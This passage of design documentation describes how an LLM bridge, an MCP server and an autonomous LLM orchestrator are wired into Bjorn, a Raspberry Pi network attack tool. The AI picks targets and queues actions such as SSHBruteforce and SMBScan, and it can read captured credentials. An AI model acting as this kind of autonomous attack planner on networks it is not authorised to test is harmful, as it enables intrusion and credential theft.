| `web_utils/llm_utils.py` | ~220 lines | LLM/MCP HTTP endpoints (web_utils pattern) |
|
||||
| `llm_orchestrator.py` | ~410 lines | LLM Orchestrator — advisor & autonomous modes |
|
||||
| `web/chat.html` | ~300 lines | Chat interface + Orch Log button |
|
||||
| `web/mcp-config.html` | ~400 lines | LLM & MCP configuration page |
|
||||
|
||||
### Modified files
|
||||
|
||||
| File | What changed |
|
||||
|------|-------------|
|
||||
| `shared.py` | +45 config keys (LLM bridge, MCP, orchestrator) |
|
||||
| `comment.py` | LLM hook in `get_comment()` — 12 lines added |
|
||||
| `utils.py` | +1 entry in lazy WebUtils registry: `"llm_utils"` |
|
||||
| `webapp.py` | +9 GET/POST routes in `_register_routes_once()` |
|
||||
| `Bjorn.py` | LLM Bridge warm-up + conditional MCP server start |
|
||||
| `orchestrator.py` | +`LLMOrchestrator` lifecycle + advisor call in background tasks |
|
||||
| `action_scheduler.py` | +skip scheduler if LLM autonomous only (`llm_orchestrator_skip_scheduler`) |
|
||||
| `requirements.txt` | +3 comment lines (optional dependencies documented) |
|
||||
|
||||
---
|
||||
|
||||
## 3. LLM Bridge (`llm_bridge.py`)
|
||||
|
||||
### Internal architecture
|
||||
|
||||
```
|
||||
LLMBridge (Singleton)
|
||||
├── __init__() Initialises singleton, launches LaRuche discovery
|
||||
├── complete() Main API — cascades all backends
|
||||
│ └── tools=None/[...] Optional param to enable tool-calling
|
||||
├── generate_comment() Generates a short EPD comment (≤80 tokens)
|
||||
├── chat() Stateful chat with per-session history
|
||||
│ └── tools=_BJORN_TOOLS if llm_chat_tools_enabled=True
|
||||
├── clear_history() Clears a session's history
|
||||
├── status() Returns bridge state (for the UI)
|
||||
│
|
||||
├── _start_laruche_discovery() Starts mDNS thread in background
|
||||
├── _discover_laruche_mdns() Listens to _ai-inference._tcp.local. continuously
|
||||
│
|
||||
├── _call_laruche() Backend 1 — POST http://[node]:8419/infer
|
||||
├── _call_ollama() Backend 2 — POST http://localhost:11434/api/chat
|
||||
├── _call_anthropic() Backend 3a — POST api.anthropic.com + AGENTIC LOOP
|
||||
│ └── loop ≤6 turns: send → tool_use → execute → feed result → repeat
|
||||
├── _call_openai_compat() Backend 3b — POST [base_url]/v1/chat/completions
|
||||
│
|
||||
├── _execute_tool(name, inputs) Dispatches to mcp_server._impl_*
|
||||
│ └── gate: checks mcp_allowed_tools before executing
|
||||
│
|
||||
└── _build_system_prompt() Builds system prompt with live Bjorn context
|
||||
|
||||
_BJORN_TOOLS : List[Dict] Anthropic-format definitions for the 7 MCP tools
|
||||
```
|
||||
|
||||
### _BJORN_TOOLS — full list
|
||||
|
||||
```python
|
||||
_BJORN_TOOLS = [
|
||||
{"name": "get_hosts", "description": "...", "input_schema": {...}},
|
||||
{"name": "get_vulnerabilities", ...},
|
||||
{"name": "get_credentials", ...},
|
||||
{"name": "get_action_history", ...},
|
||||
{"name": "get_status", ...},
|
||||
{"name": "run_action", ...}, # gated by mcp_allowed_tools
|
||||
{"name": "query_db", ...}, # SELECT only
|
||||
]
|
||||
```
|
||||
|
||||
### Backend cascade
|
||||
|
||||
```
|
||||
llm_backend = "auto" → LaRuche → Ollama → API → None
|
||||
llm_backend = "laruche" → LaRuche only
|
||||
llm_backend = "ollama" → Ollama only
|
||||
llm_backend = "api" → External API only
|
||||
```
|
||||
|
||||
At each step, if a backend fails (timeout, network error, missing model), the next one is tried **silently**. If all fail, `complete()` returns `None`.
|
||||
|
||||
### Agentic tool-calling loop (`_call_anthropic`)
|
||||
|
||||
When `tools` is passed to `complete()`, the Anthropic backend enters agentic mode:
|
||||
|
||||
```
|
||||
_call_anthropic(messages, system, tools, max_tokens, timeout)
|
||||
│
|
||||
├─ POST /v1/messages {tools: [...]}
|
||||
│
|
||||
├─ [stop_reason = "tool_use"]
|
||||
│ for each tool_use block:
|
||||
│ result = _execute_tool(name, inputs)
|
||||
│ append {role: "tool", tool_use_id: ..., content: result}
|
||||
│ POST /v1/messages [messages + tool results] ← next turn
|
||||
│
|
||||
└─ [stop_reason = "end_turn"] → returns final text
|
||||
[≥6 turns] → returns partial text + warning
|
||||
```
|
||||
|
||||
`_execute_tool()` dispatches directly to `mcp_server._impl_*` (no network), checking `mcp_allowed_tools` for `run_action`.
|
||||
|
||||
### Tool-calling in chat (`chat()`)
|
||||
|
||||
If `llm_chat_tools_enabled = True`, the chat passes `tools=_BJORN_TOOLS` to the backend, letting the LLM answer with real-time data (hosts, vulns, creds…) rather than relying only on its training knowledge.
|
||||
|
||||
### Chat history
|
||||
|
||||
- Each session has its own history (key = `session_id`)
|
||||
- Special session `"llm_orchestrator"`: contains the autonomous orchestrator's reasoning
|
||||
- Max size configurable: `llm_chat_history_size` (default: 20 messages)
|
||||
- History is **in-memory only** — not persisted across restarts
|
||||
- Thread-safe via `_hist_lock`
|
||||
|
||||
---
|
||||
|
||||
## 4. MCP Server (`mcp_server.py`)
|
||||
|
||||
### What is MCP?
|
||||
|
||||
The **Model Context Protocol** (Anthropic) is an open-source protocol that lets AI agents (Claude Desktop, custom agents, etc.) use external tools via a standardised interface.
|
||||
|
||||
By enabling Bjorn's MCP server, **any MCP client can query and control Bjorn** — without knowing the internal DB structure.
|
||||
|
||||
### Exposed tools
|
||||
|
||||
| Tool | Arguments | Description |
|
||||
|------|-----------|-------------|
|
||||
| `get_hosts` | `alive_only: bool = True` | Returns discovered hosts (IP, MAC, hostname, OS, ports) |
|
||||
| `get_vulnerabilities` | `host_ip: str = ""`, `limit: int = 100` | Returns discovered CVE vulnerabilities |
|
||||
| `get_credentials` | `service: str = ""`, `limit: int = 100` | Returns captured credentials (SSH, FTP, SMB…) |
|
||||
| `get_action_history` | `limit: int = 50`, `action_name: str = ""` | History of executed actions |
|
||||
| `get_status` | *(none)* | Real-time state: mode, active action, counters |
|
||||
| `run_action` | `action_name: str`, `target_ip: str`, `target_mac: str = ""` | Queues a Bjorn action (MCP priority = 80) |
|
||||
| `query_db` | `sql: str`, `params: str = "[]"` | Free SELECT against the SQLite DB (read-only) |
|
||||
|
||||
**Security:** each tool checks `mcp_allowed_tools` — unlisted tools return a clean error. `query_db` rejects anything that is not a `SELECT`.
|
||||
|
||||
### `_impl_run_action` — priority detail
|
||||
|
||||
```python
|
||||
_MCP_PRIORITY = 80 # > scheduler(40) > normal(50)
|
||||
|
||||
sd.db.queue_action(
|
||||
action_name=action_name,
|
||||
mac=mac, # resolved from hosts WHERE ip=? if not supplied
|
||||
ip=target_ip,
|
||||
priority=_MCP_PRIORITY,
|
||||
trigger="mcp",
|
||||
metadata={"decision_method": "mcp", "decision_origin": "mcp"},
|
||||
)
|
||||
sd.queue_event.set() # wakes the orchestrator immediately
|
||||
```
|
||||
|
||||
### Available transports
|
||||
|
||||
| Transport | Config | Usage |
|
||||
|-----------|--------|-------|
|
||||
| `http` (default) | `mcp_transport: "http"`, `mcp_port: 8765` | Accessible from any MCP client on LAN via SSE |
|
||||
| `stdio` | `mcp_transport: "stdio"` | Claude Desktop, CLI agents |
|
||||
|
||||
---
|
||||
|
||||
## 5. LLM Orchestrator (`llm_orchestrator.py`)
|
||||
|
||||
The LLM Orchestrator transforms Bjorn from a scriptable tool into an autonomous agent. It is **completely optional and disableable** via `llm_orchestrator_mode = "none"`.
|
||||
|
||||
### Operating modes
|
||||
|
||||
| Mode | Config value | Operation |
|
||||
|------|-------------|-----------|
|
||||
| Disabled | `"none"` (default) | LLM plays no role in planning |
|
||||
| Advisor | `"advisor"` | LLM consulted periodically, suggests 1 action |
|
||||
| Autonomous | `"autonomous"` | Own thread, LLM observes + plans with tools |
|
||||
|
||||
### Internal architecture
|
||||
|
||||
```
|
||||
LLMOrchestrator
|
||||
├── start() Starts autonomous thread if mode=autonomous
|
||||
├── stop() Stops thread (join 15s max)
|
||||
├── restart_if_mode_changed() Called from orchestrator.run() each iteration
|
||||
├── is_active() True if autonomous thread is alive
|
||||
│
|
||||
├── [ADVISOR MODE]
|
||||
│ advise() → called from orchestrator._process_background_tasks()
|
||||
│ ├── _build_snapshot() → compact dict (hosts, vulns, creds, queue)
|
||||
│ ├── LLMBridge().complete(prompt, system)
|
||||
│ └── _apply_advisor_response(raw, allowed)
|
||||
│ ├── parse JSON {"action": str, "target_ip": str, "reason": str}
|
||||
│ ├── validate action ∈ allowed
|
||||
│ └── db.queue_action(priority=85, trigger="llm_advisor")
|
||||
│
|
||||
└── [AUTONOMOUS MODE]
|
||||
_autonomous_loop() Thread "LLMOrchestrator" (daemon)
|
||||
└── loop:
|
||||
_compute_fingerprint() → (hosts, vulns, creds, max_queue_id)
|
||||
_has_actionable_change() → skip if nothing increased
|
||||
_run_autonomous_cycle()
|
||||
├── filter tools: read-only always + run_action if in allowed
|
||||
├── LLMBridge().complete(prompt, system, tools=[...])
|
||||
│ └── _call_anthropic() agentic loop
|
||||
│ → LLM calls run_action via tools
|
||||
│ → _execute_tool → _impl_run_action → queue
|
||||
└── if llm_orchestrator_log_reasoning=True:
|
||||
logger.info("[LLM_ORCH_REASONING]...")
|
||||
_push_to_chat() → "llm_orchestrator" session in LLMBridge
|
||||
sleep(llm_orchestrator_interval_s)
|
||||
```
|
||||
|
||||
### Fingerprint and smart skip
|
||||
|
||||
```python
|
||||
def _compute_fingerprint(self) -> tuple:
|
||||
# (host_count, vuln_count, cred_count, max_completed_queue_id)
|
||||
return (hosts, vulns, creds, last_id)
|
||||
|
||||
def _has_actionable_change(self, fp: tuple) -> bool:
|
||||
if self._last_fingerprint is None:
|
||||
return True # first cycle always runs
|
||||
# Triggers ONLY if something INCREASED
|
||||
# hosts going offline → not actionable
|
||||
return any(fp[i] > self._last_fingerprint[i] for i in range(len(fp)))
|
||||
```
|
||||
|
||||
**Token savings:** if `llm_orchestrator_skip_if_no_change = True` (default), the LLM cycle is skipped if no new hosts/vulns/creds and no action completed since the last cycle.
|
||||
|
||||
### LLM priorities vs queue
|
||||
|
||||
```python
|
||||
_ADVISOR_PRIORITY = 85 # advisor > MCP(80) > normal(50) > scheduler(40)
|
||||
_AUTONOMOUS_PRIORITY = 82 # autonomous slightly below advisor
|
||||
```
|
||||
|
||||
### Autonomous system prompt — example
|
||||
|
||||
```
|
||||
"You are Bjorn's autonomous orchestrator, running on a Raspberry Pi network security tool.
|
||||
Current state: 12 hosts discovered, 3 vulnerabilities, 1 credentials.
|
||||
Operation mode: ATTACK. Hard limit: at most 3 run_action calls per cycle.
|
||||
Only these action names may be queued: NmapScan, SSHBruteforce, SMBScan.
|
||||
Strategy: prioritise unexplored services, hosts with high port counts, and hosts with no recent scans.
|
||||
Do not queue duplicate actions already pending or recently successful.
|
||||
Use Norse references occasionally. Be terse and tactical."
|
||||
```
|
||||
|
||||
### Advisor response format
|
||||
|
||||
```json
|
||||
// Action recommended:
|
||||
{"action": "NmapScan", "target_ip": "192.168.1.42", "reason": "unexplored host, 0 open ports known"}
|
||||
|
||||
// Nothing to do:
|
||||
{"action": null}
|
||||
```
|
||||
|
||||
### Reasoning log
|
||||
|
||||
When `llm_orchestrator_log_reasoning = True`:
|
||||
- Full reasoning is logged via `logger.info("[LLM_ORCH_REASONING]...")`
|
||||
- It is also injected into the `"llm_orchestrator"` session in `LLMBridge._chat_histories`
|
||||
- Viewable in real time in `chat.html` via the **Orch Log** button
|
||||
|
||||
---
|
||||
|
||||
## 6. Orchestrator & Scheduler integration
|
||||
|
||||
### `orchestrator.py`
|
||||
|
||||
```python
|
||||
# __init__
|
||||
self.llm_orchestrator = None
|
||||
self._init_llm_orchestrator()
|
||||
|
||||
# _init_llm_orchestrator()
|
||||
if shared_data.config.get("llm_enabled") and shared_data.config.get("llm_orchestrator_mode") != "none":
|
||||
from llm_orchestrator import LLMOrchestrator
|
||||
self.llm_orchestrator = LLMOrchestrator(shared_data)
|
||||
self.llm_orchestrator.start()
|
||||
|
||||
# run() — each iteration
|
||||
self._sync_llm_orchestrator() # starts/stops thread according to runtime config
|
||||
|
||||
# _process_background_tasks()
|
||||
if self.llm_orchestrator and mode == "advisor":
|
||||
self.llm_orchestrator.advise()
|
||||
```
|
||||
|
||||
### `action_scheduler.py` — skip option
|
||||
|
||||
```python
|
||||
# In run(), each iteration:
|
||||
_llm_skip = bool(
|
||||
shared_data.config.get("llm_orchestrator_skip_scheduler", False)
|
||||
and shared_data.config.get("llm_orchestrator_mode") == "autonomous"
|
||||
and shared_data.config.get("llm_enabled", False)
|
||||
)
|
||||
|
||||
if not _llm_skip:
|
||||
self._publish_all_upcoming() # step 2: publish due actions
|
||||
self._evaluate_global_actions() # step 3: global evaluation
|
||||
self.evaluate_all_triggers() # step 4: per-host triggers
|
||||
# Steps 1 (promote due) and 5 (cleanup/priorities) always run
|
||||
```
|
||||
|
||||
When `llm_orchestrator_skip_scheduler = True` + `mode = autonomous` + `llm_enabled = True`:
|
||||
- The scheduler no longer publishes automatic actions (no more `B_require`, `B_trigger`, etc.)
|
||||
- The autonomous LLM becomes **sole master of the queue**
|
||||
- Queue hygiene (promotions, cleanup) remains active
|
||||
|
||||
---
|
||||
|
||||
## 7. Web Utils LLM (`web_utils/llm_utils.py`)
|
||||
|
||||
Follows the exact **same pattern** as all other `web_utils` (constructor `__init__(self, shared_data)`, methods called by `webapp.py`).
|
||||
|
||||
### Methods
|
||||
|
||||
| Method | Type | Description |
|
||||
|--------|------|-------------|
|
||||
| `get_llm_status(handler)` | GET | LLM bridge state (active backend, LaRuche URL…) |
|
||||
| `get_llm_config(handler)` | GET | Current LLM config (api_key masked) |
|
||||
| `get_llm_reasoning(handler)` | GET | `llm_orchestrator` session history (reasoning log) |
|
||||
| `handle_chat(data)` | POST | Sends a message, returns LLM response |
|
||||
| `clear_chat_history(data)` | POST | Clears a session's history |
|
||||
| `get_mcp_status(handler)` | GET | MCP server state (running, port, transport) |
|
||||
| `toggle_mcp(data)` | POST | Enables/disables MCP server + saves config |
|
||||
| `save_mcp_config(data)` | POST | Saves MCP config (tools, port, transport) |
|
||||
| `save_llm_config(data)` | POST | Saves LLM config (all parameters) |
|
||||
|
||||
---
|
||||
|
||||
## 8. EPD comment integration (`comment.py`)
|
||||
|
||||
### Behaviour before modification
|
||||
|
||||
```
|
||||
get_comment(status, lang, params)
|
||||
└── if delay elapsed OR status changed
|
||||
└── _pick_text(status, lang, params) ← SQLite DB
|
||||
└── returns weighted text
|
||||
```
|
||||
|
||||
### Behaviour after modification
|
||||
|
||||
```
|
||||
get_comment(status, lang, params)
|
||||
└── if delay elapsed OR status changed
|
||||
│
|
||||
├── [if llm_comments_enabled = True]
|
||||
│ └── LLMBridge().generate_comment(status, params)
|
||||
│ ├── success → LLM text (≤12 words, ~8s max)
|
||||
│ └── failure/timeout → text = None
|
||||
│
|
||||
└── [if text = None] ← SYSTEMATIC FALLBACK
|
||||
└── _pick_text(status, lang, params) ← original behaviour
|
||||
└── returns weighted DB text
|
||||
```
|
||||
|
||||
**Original behaviour preserved 100% if LLM disabled or failing.**
|
||||
|
||||
---
|
||||
|
||||
## 9. Configuration (`shared.py`)
|
||||
|
||||
### LLM Bridge section (`__title_llm__`)
|
||||
|
||||
| Key | Default | Type | Description |
|
||||
|-----|---------|------|-------------|
|
||||
| `llm_enabled` | `False` | bool | **Master toggle** — activates the entire bridge |
|
||||
| `llm_comments_enabled` | `False` | bool | Use LLM for EPD comments |
|
||||
| `llm_chat_enabled` | `True` | bool | Enable /chat.html interface |
|
||||
| `llm_chat_tools_enabled` | `False` | bool | Enable tool-calling in web chat |
|
||||
| `llm_backend` | `"auto"` | str | `auto` \| `laruche` \| `ollama` \| `api` |
|
||||
| `llm_laruche_discovery` | `True` | bool | Auto-discover LaRuche nodes via mDNS |
|
||||
| `llm_laruche_url` | `""` | str | Manual LaRuche URL (overrides discovery) |
|
||||
| `llm_ollama_url` | `"http://127.0.0.1:11434"` | str | Local Ollama URL |
|
||||
| `llm_ollama_model` | `"phi3:mini"` | str | Ollama model to use |
|
||||
| `llm_api_provider` | `"anthropic"` | str | `anthropic` \| `openai` \| `openrouter` |
|
||||
| `llm_api_key` | `""` | str | API key (masked in UI) |
|
||||
| `llm_api_model` | `"claude-haiku-4-5-20251001"` | str | External API model |
|
||||
| `llm_api_base_url` | `""` | str | Custom base URL (OpenRouter, proxy…) |
|
||||
| `llm_timeout_s` | `30` | int | Global LLM call timeout (seconds) |
|
||||
| `llm_max_tokens` | `500` | int | Max tokens for chat |
|
||||
| `llm_comment_max_tokens` | `80` | int | Max tokens for EPD comments |
|
||||
| `llm_chat_history_size` | `20` | int | Max messages per chat session |
|
||||
|
||||
### MCP Server section (`__title_mcp__`)
|
||||
|
||||
| Key | Default | Type | Description |
|
||||
|-----|---------|------|-------------|
|
||||
| `mcp_enabled` | `False` | bool | Enable MCP server |
|
||||
| `mcp_transport` | `"http"` | str | `http` (SSE) \| `stdio` |
|
||||
| `mcp_port` | `8765` | int | HTTP SSE port |
|
||||
| `mcp_allowed_tools` | `[all]` | list | List of authorised MCP tools |
|
||||
|
||||
### LLM Orchestrator section (`__title_llm_orch__`)
|
||||
|
||||
| Key | Default | Type | Description |
|
||||
|-----|---------|------|-------------|
|
||||
| `llm_orchestrator_mode` | `"none"` | str | `none` \| `advisor` \| `autonomous` |
|
||||
| `llm_orchestrator_interval_s` | `60` | int | Delay between autonomous cycles (min 30s) |
|
||||
| `llm_orchestrator_max_actions` | `3` | int | Max actions per autonomous cycle |
|
||||
| `llm_orchestrator_allowed_actions` | `[]` | list | Actions the LLM may queue (empty = mcp_allowed_tools) |
|
||||
| `llm_orchestrator_skip_scheduler` | `False` | bool | Disable scheduler when autonomous is active |
|
||||
| `llm_orchestrator_skip_if_no_change` | `True` | bool | Skip cycle if fingerprint unchanged |
|
||||
| `llm_orchestrator_log_reasoning` | `False` | bool | Log full LLM reasoning |
|
||||
|
||||
---
|
||||
|
||||
## 10. HTTP Routes (`webapp.py`)
|
||||
|
||||
### GET routes
|
||||
|
||||
| Route | Handler | Description |
|
||||
|-------|---------|-------------|
|
||||
| `GET /api/llm/status` | `llm_utils.get_llm_status` | LLM bridge state |
|
||||
| `GET /api/llm/config` | `llm_utils.get_llm_config` | LLM config (api_key masked) |
|
||||
| `GET /api/llm/reasoning` | `llm_utils.get_llm_reasoning` | Orchestrator reasoning log |
|
||||
| `GET /api/mcp/status` | `llm_utils.get_mcp_status` | MCP server state |
|
||||
|
||||
### POST routes (JSON data-only)
|
||||
|
||||
| Route | Handler | Description |
|
||||
|-------|---------|-------------|
|
||||
| `POST /api/llm/chat` | `llm_utils.handle_chat` | Send a message to the LLM |
|
||||
| `POST /api/llm/clear_history` | `llm_utils.clear_chat_history` | Clear a session's history |
|
||||
| `POST /api/llm/config` | `llm_utils.save_llm_config` | Save LLM config |
|
||||
| `POST /api/mcp/toggle` | `llm_utils.toggle_mcp` | Enable/disable MCP |
|
||||
| `POST /api/mcp/config` | `llm_utils.save_mcp_config` | Save MCP config |
|
||||
|
||||
All routes respect Bjorn's existing authentication (`webauth`).
|
||||
|
||||
---
|
||||
|
||||
## 11. Web interfaces
|
||||
|
||||
### `/chat.html`
|
||||
|
||||
Terminal-style chat interface (black/red, consistent with Bjorn).
|
||||
|
||||
**Features:**
|
||||
- Auto-detects LLM state on load (`GET /api/llm/status`)
|
||||
- Displays active backend (LaRuche URL, or mode)
|
||||
- "Bjorn is thinking..." indicator during response
|
||||
- Unique session ID per browser tab
|
||||
- `Enter` = send, `Shift+Enter` = new line
|
||||
- Textarea auto-resize
|
||||
- **"Clear history"** button — clears server-side session
|
||||
- **"Orch Log"** button — loads the autonomous orchestrator's reasoning
|
||||
- Calls `GET /api/llm/reasoning`
|
||||
- Renders each message (cycle prompt + LLM response) as chat bubbles
|
||||
- "← Back to chat" to return to normal chat
|
||||
- Helper message if log is empty (hint: enable `llm_orchestrator_log_reasoning`)
|
||||
|
||||
**Access:** `http://[bjorn-ip]:8000/chat.html`
|
||||
|
||||
### `/mcp-config.html`
|
||||
|
||||
Full LLM & MCP configuration page.
|
||||
|
||||
**LLM Bridge section:**
|
||||
- Master enable/disable toggle
|
||||
- EPD comments, chat, chat tool-calling toggles
|
||||
- Backend selector (auto / laruche / ollama / api)
|
||||
- LaRuche mDNS discovery toggle + manual URL
|
||||
- Ollama configuration (URL + model)
|
||||
- External API configuration (provider, key, model, custom URL)
|
||||
- Timeout and token parameters
|
||||
- "TEST CONNECTION" button
|
||||
|
||||
**MCP Server section:**
|
||||
- Enable toggle with live start/stop
|
||||
- Transport selector (HTTP SSE / stdio)
|
||||
- HTTP port
|
||||
- Per-tool checkboxes
|
||||
- "RUNNING" / "OFF" indicator
|
||||
|
||||
**Access:** `http://[bjorn-ip]:8000/mcp-config.html`
|
||||
|
||||
---
|
||||
|
||||
## 12. Startup (`Bjorn.py`)
|
||||
|
||||
```python
|
||||
# LLM Bridge — warm up singleton
|
||||
try:
|
||||
from llm_bridge import LLMBridge
|
||||
LLMBridge() # Starts mDNS discovery if llm_laruche_discovery=True
|
||||
logger.info("LLM Bridge initialised")
|
||||
except Exception as e:
|
||||
logger.warning("LLM Bridge init skipped: %s", e)
|
||||
|
||||
# MCP Server
|
||||
try:
|
||||
import mcp_server
|
||||
if shared_data.config.get("mcp_enabled", False):
|
||||
mcp_server.start() # Daemon thread "MCPServer"
|
||||
logger.info("MCP server started")
|
||||
else:
|
||||
logger.info("MCP server loaded (disabled)")
|
||||
except Exception as e:
|
||||
logger.warning("MCP server init skipped: %s", e)
|
||||
```
|
||||
|
||||
The LLM Orchestrator is initialised inside `orchestrator.py` (not `Bjorn.py`), since it depends on the orchestrator loop cycle.
|
||||
|
||||
---
|
||||
|
||||
## 13. LaRuche / LAND Protocol compatibility
|
||||
|
||||
### LAND Protocol
|
||||
|
||||
LAND (Local AI Network Discovery) is the LaRuche protocol:
|
||||
- **Discovery:** mDNS service type `_ai-inference._tcp.local.`
|
||||
- **Inference:** `POST http://[node]:8419/infer`
|
||||
|
||||
### What Bjorn implements on the Python side
|
||||
|
||||
```python
|
||||
# mDNS listening (zeroconf)
|
||||
from zeroconf import Zeroconf, ServiceBrowser
|
||||
ServiceBrowser(zc, "_ai-inference._tcp.local.", listener)
|
||||
# → Auto-detects LaRuche nodes
|
||||
|
||||
# Inference call (urllib stdlib, zero dependency)
|
||||
payload = {"prompt": "...", "capability": "llm", "max_tokens": 500}
|
||||
urllib.request.urlopen(f"{url}/infer", data=json.dumps(payload))
|
||||
```
|
||||
|
||||
### Scenarios
|
||||
|
||||
| Scenario | Behaviour |
|
||||
|----------|-----------|
|
||||
| LaRuche node detected on LAN | Used automatically as priority backend |
|
||||
| Multiple LaRuche nodes | First discovered is used |
|
||||
| Manual URL configured | Used directly, discovery ignored |
|
||||
| LaRuche node absent | Cascades to Ollama or external API |
|
||||
| `zeroconf` not installed | Discovery silently disabled, DEBUG log |
|
||||
|
||||
---
|
||||
|
||||
## 14. Optional dependencies
|
||||
|
||||
| Package | Min version | Feature unlocked | Install command |
|
||||
|---------|------------|------------------|----------------|
|
||||
| `mcp[cli]` | ≥ 1.0.0 | Full MCP server | `pip install "mcp[cli]"` |
|
||||
| `zeroconf` | ≥ 0.131.0 | LaRuche mDNS discovery | `pip install zeroconf` |
|
||||
|
||||
**No new dependencies** added for LLM backends:
|
||||
- **LaRuche / Ollama**: uses `urllib.request` (Python stdlib)
|
||||
- **Anthropic / OpenAI**: REST API via `urllib` — no SDK needed
|
||||
|
||||
---
|
||||
|
||||
## 15. Quick activation & configuration
|
||||
|
||||
### Basic LLM chat
|
||||
|
||||
```bash
|
||||
curl -X POST http://[bjorn-ip]:8000/api/llm/config \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"llm_enabled": true, "llm_backend": "ollama", "llm_ollama_model": "phi3:mini"}'
|
||||
# → http://[bjorn-ip]:8000/chat.html
|
||||
```
|
||||
|
||||
### Chat with tool-calling (LLM accesses live network data)
|
||||
|
||||
```bash
|
||||
curl -X POST http://[bjorn-ip]:8000/api/llm/config \
|
||||
-d '{"llm_enabled": true, "llm_chat_tools_enabled": true}'
|
||||
```
|
||||
|
||||
### LLM Orchestrator — advisor mode
|
||||
|
||||
```bash
|
||||
curl -X POST http://[bjorn-ip]:8000/api/llm/config \
|
||||
-d '{
|
||||
"llm_enabled": true,
|
||||
"llm_orchestrator_mode": "advisor",
|
||||
"llm_orchestrator_allowed_actions": ["NmapScan", "SSHBruteforce"]
|
||||
}'
|
||||
```
|
||||
|
||||
### LLM Orchestrator — autonomous mode (LLM as sole planner)
|
||||
|
||||
```bash
|
||||
curl -X POST http://[bjorn-ip]:8000/api/llm/config \
|
||||
-d '{
|
||||
"llm_enabled": true,
|
||||
"llm_orchestrator_mode": "autonomous",
|
||||
"llm_orchestrator_skip_scheduler": true,
|
||||
"llm_orchestrator_max_actions": 5,
|
||||
"llm_orchestrator_interval_s": 120,
|
||||
"llm_orchestrator_allowed_actions": ["NmapScan", "SSHBruteforce", "SMBScan"],
|
||||
"llm_orchestrator_log_reasoning": true
|
||||
}'
|
||||
# → View reasoning: http://[bjorn-ip]:8000/chat.html → Orch Log button
|
||||
```
|
||||
|
||||
### With Anthropic API
|
||||
|
||||
```bash
|
||||
curl -X POST http://[bjorn-ip]:8000/api/llm/config \
|
||||
-d '{
|
||||
"llm_enabled": true,
|
||||
"llm_backend": "api",
|
||||
"llm_api_provider": "anthropic",
|
||||
"llm_api_key": "sk-ant-...",
|
||||
"llm_api_model": "claude-haiku-4-5-20251001"
|
||||
}'
|
||||
```
|
||||
|
||||
### With OpenRouter (access to all models)
|
||||
|
||||
```bash
|
||||
curl -X POST http://[bjorn-ip]:8000/api/llm/config \
|
||||
-d '{
|
||||
"llm_enabled": true,
|
||||
"llm_backend": "api",
|
||||
"llm_api_provider": "openrouter",
|
||||
"llm_api_key": "sk-or-...",
|
||||
"llm_api_model": "meta-llama/llama-3.2-3b-instruct",
|
||||
"llm_api_base_url": "https://openrouter.ai/api"
|
||||
}'
|
||||
```
|
||||
|
||||
### Model recommendations by scenario
|
||||
|
||||
| Scenario | Backend | Recommended model | Pi RAM |
|
||||
|----------|---------|-------------------|--------|
|
||||
| Autonomous orchestrator + LaRuche on LAN | laruche | Mistral/Phi on the node | 0 (remote inference) |
|
||||
| Autonomous orchestrator offline | ollama | `qwen2.5:3b` | ~3 GB |
|
||||
| Autonomous orchestrator cloud | api | `claude-haiku-4-5-20251001` | 0 |
|
||||
| Chat + tools | ollama | `phi3:mini` | ~2 GB |
|
||||
| EPD comments only | ollama | `smollm2:360m` | ~400 MB |
|
||||
|
||||
---
|
||||
|
||||
## 16. Complete API endpoint reference
|
||||
|
||||
### GET
|
||||
|
||||
```
|
||||
GET /api/llm/status
|
||||
→ {"enabled": bool, "backend": str, "laruche_url": str|null,
|
||||
"laruche_discovery": bool, "ollama_url": str, "ollama_model": str,
|
||||
"api_provider": str, "api_model": str, "api_key_set": bool}
|
||||
|
||||
GET /api/llm/config
|
||||
→ {all llm_* keys except api_key, + "llm_api_key_set": bool}
|
||||
|
||||
GET /api/llm/reasoning
|
||||
→ {"status": "ok", "messages": [{"role": str, "content": str}, ...], "count": int}
|
||||
→ {"status": "error", "message": str, "messages": [], "count": 0}
|
||||
|
||||
GET /api/mcp/status
|
||||
→ {"enabled": bool, "running": bool, "transport": str,
|
||||
"port": int, "allowed_tools": [str]}
|
||||
```
|
||||
|
||||
### POST
|
||||
|
||||
```
|
||||
POST /api/llm/chat
|
||||
Body: {"message": str, "session_id": str?}
|
||||
→ {"status": "ok", "response": str, "session_id": str}
|
||||
→ {"status": "error", "message": str}
|
||||
|
||||
POST /api/llm/clear_history
|
||||
Body: {"session_id": str?}
|
||||
→ {"status": "ok"}
|
||||
|
||||
POST /api/llm/config
|
||||
Body: {any subset of llm_* and llm_orchestrator_* keys}
|
||||
→ {"status": "ok"}
|
||||
→ {"status": "error", "message": str}
|
||||
|
||||
POST /api/mcp/toggle
|
||||
Body: {"enabled": bool}
|
||||
→ {"status": "ok", "enabled": bool, "started": bool?}
|
||||
|
||||
POST /api/mcp/config
|
||||
Body: {"allowed_tools": [str]?, "port": int?, "transport": str?}
|
||||
→ {"status": "ok", "config": {...}}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 17. Queue priority system
|
||||
|
||||
```
|
||||
Priority Source Trigger
|
||||
──────────────────────────────────────────────────────────────
|
||||
85 LLM Advisor llm_orchestrator.advise()
|
||||
82 LLM Autonomous _run_autonomous_cycle() via run_action tool
|
||||
80 External MCP _impl_run_action() via MCP client or chat
|
||||
50 Normal / manual queue_action() without explicit priority
|
||||
40 Scheduler action_scheduler evaluates triggers
|
||||
```
|
||||
|
||||
The scheduler always processes the highest-priority pending item first. LLM and MCP actions therefore preempt scheduler actions.
|
||||
|
||||
---
|
||||
|
||||
## 18. Fallbacks & graceful degradation
|
||||
|
||||
| Condition | Behaviour |
|
||||
|-----------|-----------|
|
||||
| `llm_enabled = False` | `complete()` returns `None` immediately — zero overhead |
|
||||
| `llm_orchestrator_mode = "none"` | LLMOrchestrator not instantiated |
|
||||
| `mcp` not installed | `_build_mcp_server()` returns `None`, WARNING log |
|
||||
| `zeroconf` not installed | LaRuche discovery silently disabled, DEBUG log |
|
||||
| LaRuche node timeout | Exception caught, cascade to next backend |
|
||||
| Ollama not running | `URLError` caught, cascade to API |
|
||||
| API key missing | `_call_api()` returns `None`, cascade |
|
||||
| All backends fail | `complete()` returns `None` |
|
||||
| LLM returns `None` for EPD | `comment.py` uses `_pick_text()` (original behaviour) |
|
||||
| LLM advisor: invalid JSON | DEBUG log, returns `None`, next cycle |
|
||||
| LLM advisor: disallowed action | WARNING log, ignored |
|
||||
| LLM autonomous: no change | cycle skipped, zero API call |
|
||||
| LLM autonomous: ≥6 tool turns | returns partial text + warning |
|
||||
